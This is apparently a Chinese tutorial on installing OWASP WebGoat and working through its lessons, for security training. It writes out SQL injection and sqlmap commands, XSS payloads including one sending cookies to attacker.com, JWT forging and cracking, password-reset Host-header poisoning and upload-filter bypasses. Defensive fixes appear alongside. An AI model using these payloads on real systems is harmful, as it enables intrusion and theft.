WebGoat 环境搭建及实战完全指南
WebGoat 是由 OWASP 维护的、故意设计不安全的 Web 应用程序,专门用于教学 Web 应用安全漏洞和防御技术。
📚 WebGoat 概述
官方地址:https://github.com/WebGoat/WebGoat
特点:
- 完全免费开源
- 包含 100+ 个安全漏洞练习
- 每个课程都有详细指导
- 支持多语言(包括中文)
- 实时反馈和得分系统
- 适合从初学者到专家的所有级别
介绍 OWASP WebGoat 安全靶场的环境搭建与实战演练。涵盖 Docker、Jar 包等多种部署方式,详细解析 SQL 注入、XSS、身份认证及文件上传等常见漏洞的利用与防御方法。同时提供 Burp Suite 集成配置、学习路径建议及故障排除方案,适合初学者至专家进行 Web 应用安全攻防训练。
WebGoat 是由 OWASP 维护的、故意设计不安全的 Web 应用程序,专门用于教学 Web 应用安全漏洞和防御技术。
官方地址:https://github.com/WebGoat/WebGoat
特点:
# 1. 安装 Docker(如未安装)
# Linux
sudo apt-get update
sudo apt-get install docker.io docker-compose
# 2. 拉取 WebGoat 镜像
docker pull webgoat/webgoat
# 3. 运行 WebGoat
# 方式一:直接运行
docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Asia/Shanghai webgoat/webgoat
# 方式二:使用 docker-compose(推荐)
cat > docker-compose.yml <<'EOF'
version: '3'
services:
webgoat:
image: webgoat/webgoat:latest
container_name: webgoat
ports:
- "8080:8080"
- "9090:9090"
environment:
- TZ=Asia/Shanghai
- WEBGOAT_HOST=0.0.0.0
restart: unless-stopped
EOF
docker-compose up -d
# 4. 验证安装
docker ps
curl http://localhost:8080/WebGoat
# 1. 下载最新版本
# 访问 https://github.com/WebGoat/WebGoat/releases
# 下载 webgoat-server-xx.x.x.jar 和 webwolf-xx.x.x.jar
# 2. 运行 WebGoat(需要 Java 11+)
java -jar webgoat-server-xx.x.x.jar --server.port=8080
# 3. 运行 WebWolf(独立工具)
java -jar webwolf-xx.x.x.jar --server.port=9090
# 或者使用官方启动脚本
git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat
./mvnw clean package
java -jar webgoat-server/target/*.jar
# 1. 克隆仓库
git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat
# 2. 编译(需要 Maven 和 Java 11+)
./mvnw clean compile
# 3. 运行
./mvnw spring-boot:run -pl webgoat-server
# 4. 访问
# WebGoat: http://localhost:8080/WebGoat
# WebWolf: http://localhost:9090/WebWolf
# Kali Linux 通常预装了 WebGoat
# 启动 WebGoat
service webgoat start
# 或者手动启动
cd /usr/share/webgoat
java -jar webgoat-server-*.jar
# 访问:https://localhost:8080/WebGoat
# 默认访问地址
WebGoat: http://localhost:8080/WebGoat
WebWolf: http://localhost:9090/WebWolf
# 首次访问配置
1. 打开浏览器访问 http://localhost:8080/WebGoat
2. 创建新用户或使用默认:
- 用户名:webgoat
- 密码:webgoat
3. 选择语言(支持中文)
4. 开始课程
WebGoat 课程分为多个类别,从易到难:
-- 1. 访问 SQL Injection (intro)
-- 课程位置:A1 → SQL Injection (intro)
-- 2. 基础注入练习
输入:' OR '1'='1
SELECT * FROM users WHERE name = '' OR '1'='1';
-- 3. 获取所有用户
输入:' OR 1=1 --
SELECT * FROM users WHERE name = '' OR 1=1 --';
-- 4. 联合查询注入
输入:' UNION SELECT 1,2 --
SELECT * FROM products WHERE name = '' UNION SELECT 1,2 --';
-- 5. 获取数据库信息
输入:' UNION SELECT version(),database() --
-- 1. 布尔盲注
-- 判断数据库类型
' AND (SELECT substring(version(),1,1))='5' --
-- 2. 时间盲注
-- MySQL:使用 sleep() 函数
'AND IF(1=1,SLEEP(5),0) --
-- 3. 自动化工具使用
# 使用 sqlmap
sqlmap -u "http://localhost:8080/WebGoat/SqlInjection/attack5a" \
--data="name=test" \
--level=3 \
--risk=2 \
--dbs
// 查看防御代码示例
// 1. 使用预编译语句
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
// 2. 使用存储过程
// 3. 输入验证和过滤
// 4. 最小权限原则
// 1. 基础 payload
<script>alert('XSS')</script>
// 2. 绕过简单过滤
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror=alert('XSS')>
// 3. 窃取 Cookie
<script> document.location='http://attacker.com/steal?cookie='+document.cookie </script>
// 1. 在评论中注入
<iframe src="javascript:alert('XSS')">
// 2. 结合 CSRF
<script>fetch('/transfer?to=hacker&amount=1000',{method:'POST'})</script>
// 1. 利用 URL 片段
http://target.com/#<script>alert('XSS')</script>
// 2. 利用 innerHTML
document.getElementById('content').innerHTML = userInput;
// 防御:使用 textContent 代替
// 1. 解码 JWT
// 使用 jwt.io 在线解码
// 2. 无签名攻击(alg: none)
// 修改 JWT 头部为 { "alg": "none" }
// 删除签名部分
// 3. 密钥爆破
// 使用 hashcat
hashcat -a 0-m 16500 jwt.txt wordlist.txt
// 4. 密钥混淆攻击
// 使用 HS256 但验证时使用 RS256
# 1. 修改 Host 头
POST /reset-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com
# 2. 密码重置令牌泄露
# 查看页面源码、JS 文件、网络请求
# 3. 时间窗口攻击
# 快速使用重置链接
# 1. 修改 Content-Type
# 上传 PHP 文件,但 Content-Type: image/jpeg
# 2. 双扩展名
shell.php.jpg
shell.php%00.jpg
# 3. 大小写绕过
shell.PhP
shell.pHp5
# 4. 特殊字符
shell.php.
shell.php 空格
# 1. 访问 WebWolf
http://localhost:9090/WebWolf
# 2. 上传恶意文件
# 3. 使用重定向获取文件
<img src="http://localhost:9090/files/your-file">
# 4. 组合 XSS
<iframe src="http://localhost:9090/files/steal-cookie.js">
// 1. 白名单验证
if(!input.matches("^[a-zA-Z0-9]+$")){
throw new ValidationException("非法输入");
}
// 2. 输出编码
String safeOutput = ESAPI.encoder().encodeForHTML(userInput);
// 3. 使用安全框架
// Spring Security 的 CSRF 保护
// OWASP ESAPI 库
# application.yml 安全配置
security:
headers:
content-security-policy: "default-src 'self'"
x-frame-options: DENY
x-content-type-options: nosniff
csrf:
enabled: true
# 1. 配置代理
Proxy → Options → Add
-Bind to port: 8081
-Bind to address: 127.0.0.1
# 2. 浏览器设置代理
# Firefox/Chrome: 127.0.0.1:8081
# 3. 拦截 WebGoat 请求
# 查看和修改请求/响应
# 4. 使用 Intruder 爆破
# 1. 启动 ZAP
zap.sh
# 2. 配置上下文
# 设置目标 URL: http://localhost:8080/WebGoat
# 3. 自动扫描
# 主动扫描和被动扫描
# 4. 生成报告
// 1. 查看后端代码
// WebGoat 是开源的,可以查看源代码理解逻辑
// 2. 使用开发者工具
// - F12 打开开发者工具
// - Network 标签查看请求
// - Console 执行 JavaScript
// - Sources 查看前端代码
# 3. 日志查看
# 查看 WebGoat 日志
docker logs webgoat
# 或者运行时查看
java -jar webgoat-server.jar --debug
# 检查 Java 版本(需要 Java 11+)
java -version
# 检查端口占用
netstat -tlnp | grep 8080
# 或修改端口
java -jar webgoat-server.jar --server.port=8081
# Docker 容器问题
docker logs webgoat-container
docker-compose logs -f
# 解决方法:
1. 仔细阅读题目描述
2. 查看页面源代码
3. 使用浏览器开发者工具
4. 查看网络请求
5. 参考官方文档
6. 使用 WebGoat 的提示功能
# 调整 JVM 参数
java -Xms512m -Xmx1024m -jar webgoat-server.jar
# Docker 资源限制
docker run -d -m 1g --cpus="1.0" webgoat/webgoat
目标:30 天内完成所有 A1-A10 基础课程 奖励:深入理解 OWASP Top 10
目标:仅通过黑盒测试完成 WebWolf 挑战 奖励:提升实战测试能力
目标:基于 WebGoat 框架开发一个新漏洞练习 奖励:深入理解漏洞原理和代码实现
重要提醒:
WebGoat 简介: 从最简单的 SQL 注入开始,逐步挑战更复杂的漏洞类型。每个课程都是一次学习机会,失败不可怕,重要的是从中学到东西。祝你学习顺利!

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online